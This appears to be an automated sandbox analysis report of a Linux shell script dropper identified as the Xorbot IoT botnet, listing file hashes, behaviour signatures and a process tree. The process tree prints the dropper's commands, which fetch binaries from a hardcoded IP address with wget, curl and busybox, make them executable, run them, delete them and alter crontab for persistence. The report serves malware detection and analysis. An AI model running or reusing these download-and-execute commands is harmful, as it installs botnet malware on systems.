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Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    28/02/2025, 11:18

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8665f2af69fbd363509207dc0486225c

  • SHA1

    7d3257b493a353a934f65a5ec649dc6a2d5d229e

  • SHA256

    1955d746164824980d26e30bf407060921504888edd33ed9ca28b3459cebe74f

  • SHA512

    3e87c838ab67e90e549806a34068ad98ec46c2ef0f4fa83a534b4213a9fc55213a113c65e4c51fdc8ba37b48c9842dc14c4afca93db68fac4ebc8ff0fa719986

  • SSDEEP

    96:qTHZI3vuRUqEro4BGjmMqw4qwqPKfsV9w4qwqPKnbsVLuQq/THJ+3//ro4BGjm5z:iI3v6UqEgzx+PLQBQ

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1623) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:703
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:708
      • /usr/bin/wget
        wget http://37.44.238.88/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • Writes file to tmp directory
        PID:712
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • Writes file to tmp directory
        PID:724
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • Writes file to tmp directory
        PID:732
      • /bin/chmod
        chmod 777 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • File and Directory Permissions Modification
        PID:733
      • /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        ./6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
          PID:734
        • /bin/rm
          rm 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
          2⤵
            PID:736
          • /usr/bin/wget
            wget http://37.44.238.88/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
            • Writes file to tmp directory
            PID:737
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
            • Writes file to tmp directory
            PID:738
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/chmod
            chmod 777 tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
            • File and Directory Permissions Modification
            PID:740
          • /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            ./tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
              PID:741
            • /bin/rm
              rm tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
              2⤵
                PID:743
              • /usr/bin/wget
                wget http://37.44.238.88/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                2⤵
                • Writes file to tmp directory
                PID:744
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                2⤵
                • Writes file to tmp directory
                PID:745
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                2⤵
                • Writes file to tmp directory
                PID:750
              • /bin/chmod
                chmod 777 j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                2⤵
                • File and Directory Permissions Modification
                PID:753
              • /tmp/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                ./j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                2⤵
                  PID:755
                • /bin/rm
                  rm j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                  2⤵
                    PID:758
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                    2⤵
                    • Writes file to tmp directory
                    PID:760
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                    2⤵
                    • Writes file to tmp directory
                    PID:768
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                    2⤵
                    • Writes file to tmp directory
                    PID:779
                  • /bin/chmod
                    chmod 777 jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                    2⤵
                    • File and Directory Permissions Modification
                    PID:783
                  • /tmp/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                    ./jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                    2⤵
                      PID:784
                    • /bin/rm
                      rm jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                      2⤵
                        PID:788
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                        2⤵
                        • Writes file to tmp directory
                        PID:789
                      • /usr/bin/curl
                        curl -O http://37.44.238.88/bins/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:797
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                        2⤵
                        • Writes file to tmp directory
                        PID:805
                      • /bin/chmod
                        chmod 777 Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                        2⤵
                        • File and Directory Permissions Modification
                        PID:806
                      • /tmp/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                        ./Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                        2⤵
                          PID:807
                        • /bin/rm
                          rm Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                          2⤵
                            PID:809
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                            2⤵
                            • Writes file to tmp directory
                            PID:810
                          • /usr/bin/curl
                            curl -O http://37.44.238.88/bins/LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                            2⤵
                            • Writes file to tmp directory
                            PID:811
                          • /bin/busybox
                            /bin/busybox wget http://37.44.238.88/bins/LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                            2⤵
                            • Writes file to tmp directory
                            PID:812
                          • /bin/chmod
                            chmod 777 LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                            2⤵
                            • File and Directory Permissions Modification
                            PID:813
                          • /tmp/LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                            ./LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                            2⤵
                              PID:814
                            • /bin/rm
                              rm LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                              2⤵
                                PID:816
                              • /usr/bin/wget
                                wget http://37.44.238.88/bins/KFtaZZ2LQo7eP6nNuSRtJBIP5qdczlxYp6
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:817
                              • /usr/bin/curl
                                curl -O http://37.44.238.88/bins/KFtaZZ2LQo7eP6nNuSRtJBIP5qdczlxYp6
                                2⤵
                                • Reads runtime system information
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:818
                              • /bin/busybox
                                /bin/busybox wget http://37.44.238.88/bins/KFtaZZ2LQo7eP6nNuSRtJBIP5qdczlxYp6
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:819
                              • /bin/chmod
                                chmod 777 KFtaZZ2LQo7eP6nNuSRtJBIP5qdczlxYp6
                                2⤵
                                • File and Directory Permissions Modification
                                PID:835
                              • /tmp/KFtaZZ2LQo7eP6nNuSRtJBIP5qdczlxYp6
                                ./KFtaZZ2LQo7eP6nNuSRtJBIP5qdczlxYp6
                                2⤵
                                • System Network Configuration Discovery
                                PID:836
                              • /bin/rm
                                rm KFtaZZ2LQo7eP6nNuSRtJBIP5qdczlxYp6
                                2⤵
                                • System Network Configuration Discovery
                                PID:839
                              • /usr/bin/wget
                                wget http://37.44.238.88/bins/tS6HxSUNB2E13UFDWjuAkarHWA0v1unkUB
                                2⤵
                                • Writes file to tmp directory
                                PID:841
                              • /usr/bin/curl
                                curl -O http://37.44.238.88/bins/tS6HxSUNB2E13UFDWjuAkarHWA0v1unkUB
                                2⤵
                                • Writes file to tmp directory
                                PID:851
                              • /bin/busybox
                                /bin/busybox wget http://37.44.238.88/bins/tS6HxSUNB2E13UFDWjuAkarHWA0v1unkUB
                                2⤵
                                • Writes file to tmp directory
                                PID:859
                              • /bin/chmod
                                chmod 777 tS6HxSUNB2E13UFDWjuAkarHWA0v1unkUB
                                2⤵
                                • File and Directory Permissions Modification
                                PID:860
                              • /tmp/tS6HxSUNB2E13UFDWjuAkarHWA0v1unkUB
                                ./tS6HxSUNB2E13UFDWjuAkarHWA0v1unkUB
                                2⤵
                                  PID:861
                                • /bin/rm
                                  rm tS6HxSUNB2E13UFDWjuAkarHWA0v1unkUB
                                  2⤵
                                    PID:863
                                  • /usr/bin/wget
                                    wget http://37.44.238.88/bins/ZFcNzzwj7WcI2OPQAUGbG9OHgI59Cr72fK
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:864
                                  • /usr/bin/curl
                                    curl -O http://37.44.238.88/bins/ZFcNzzwj7WcI2OPQAUGbG9OHgI59Cr72fK
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:865
                                  • /bin/busybox
                                    /bin/busybox wget http://37.44.238.88/bins/ZFcNzzwj7WcI2OPQAUGbG9OHgI59Cr72fK
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:866
                                  • /bin/chmod
                                    chmod 777 ZFcNzzwj7WcI2OPQAUGbG9OHgI59Cr72fK
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:867
                                  • /tmp/ZFcNzzwj7WcI2OPQAUGbG9OHgI59Cr72fK
                                    ./ZFcNzzwj7WcI2OPQAUGbG9OHgI59Cr72fK
                                    2⤵
                                    • Renames itself
                                    • Reads runtime system information
                                    PID:868
                                    • /bin/sh
                                      sh -c "crontab -l"
                                      3⤵
                                        PID:870
                                        • /usr/bin/crontab
                                          crontab -l
                                          4⤵
                                            PID:871
                                        • /bin/sh
                                          sh -c "crontab -"
                                          3⤵
                                            PID:872
                                            • /usr/bin/crontab
                                              crontab -
                                              4⤵
                                              • Creates/modifies Cron job
                                              PID:873
                                        • /bin/rm
                                          rm ZFcNzzwj7WcI2OPQAUGbG9OHgI59Cr72fK
                                          2⤵
                                            PID:875
                                          • /usr/bin/wget
                                            wget http://37.44.238.88/bins/b8fAbKiHYwj0ajWa5cudrwAe153RLTXFT8
                                            2⤵
                                              PID:878

                                          Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx

                                            Filesize

                                            119KB

                                            MD5

                                            1b166b95f9cb4b079ef1b9ec8363ddf3

                                            SHA1

                                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                                            SHA256

                                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                            SHA512

                                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                          • /tmp/KFtaZZ2LQo7eP6nNuSRtJBIP5qdczlxYp6

                                            Filesize

                                            107KB

                                            MD5

                                            eb9c3a0de91fcf16ba17cb24608df68c

                                            SHA1

                                            09d95a7d70d5e115d103be51edff7c498d272fac

                                            SHA256

                                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                            SHA512

                                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                          • /tmp/LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ

                                            Filesize

                                            111KB

                                            MD5

                                            701e7a55a4f3650f5feee92a9860e5fc

                                            SHA1

                                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                            SHA256

                                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                            SHA512

                                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                          • /tmp/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7

                                            Filesize

                                            141KB

                                            MD5

                                            3ca8decdb1e52c423c521bfff02ac200

                                            SHA1

                                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                                            SHA256

                                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                            SHA512

                                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                          • /tmp/ZFcNzzwj7WcI2OPQAUGbG9OHgI59Cr72fK

                                            Filesize

                                            151KB

                                            MD5

                                            3c90d5820bddcf7c5d1bd21dfa49d958

                                            SHA1

                                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                            SHA256

                                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                            SHA512

                                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                          • /tmp/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh

                                            Filesize

                                            122KB

                                            MD5

                                            cd3d4b9c643e5b473fb4d88ed05f0716

                                            SHA1

                                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                                            SHA256

                                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                            SHA512

                                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                          • /tmp/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN

                                            Filesize

                                            99KB

                                            MD5

                                            9438d9bc392bcf300a5583b6df5bc8f6

                                            SHA1

                                            375a6ae34b516f6f3eeea8030c4084f585017efa

                                            SHA256

                                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                            SHA512

                                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                          • /tmp/tS6HxSUNB2E13UFDWjuAkarHWA0v1unkUB

                                            Filesize

                                            177KB

                                            MD5

                                            786d75a158fe731feca3880f436082c0

                                            SHA1

                                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                            SHA256

                                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                            SHA512

                                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                          • /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq

                                            Filesize

                                            151KB

                                            MD5

                                            6c583043d91c55aa470c08c87058e917

                                            SHA1

                                            abf65a5b9bba69980278ad09356e53de8bb89439

                                            SHA256

                                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                            SHA512

                                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                          • /var/spool/cron/crontabs/tmp.unTd3f

                                            Filesize

                                            210B

                                            MD5

                                            b876d1833a66f08afd5aa5d0c302caa3

                                            SHA1

                                            00db8e0119c040546e85940f4453d2a3d5991b67

                                            SHA256

                                            4f93eb299e31fab0847dd84b8475e28e796d0451dc06785a5db15ba636581132

                                            SHA512

                                            a4d0464971ff206c3548362d3e0cdb6d56c3dfe4191609c2ef61e9a57d8027ffaeaffff68da629af29b25ad0d591382b5e714d04614702f00cd3dbdb3667b3e0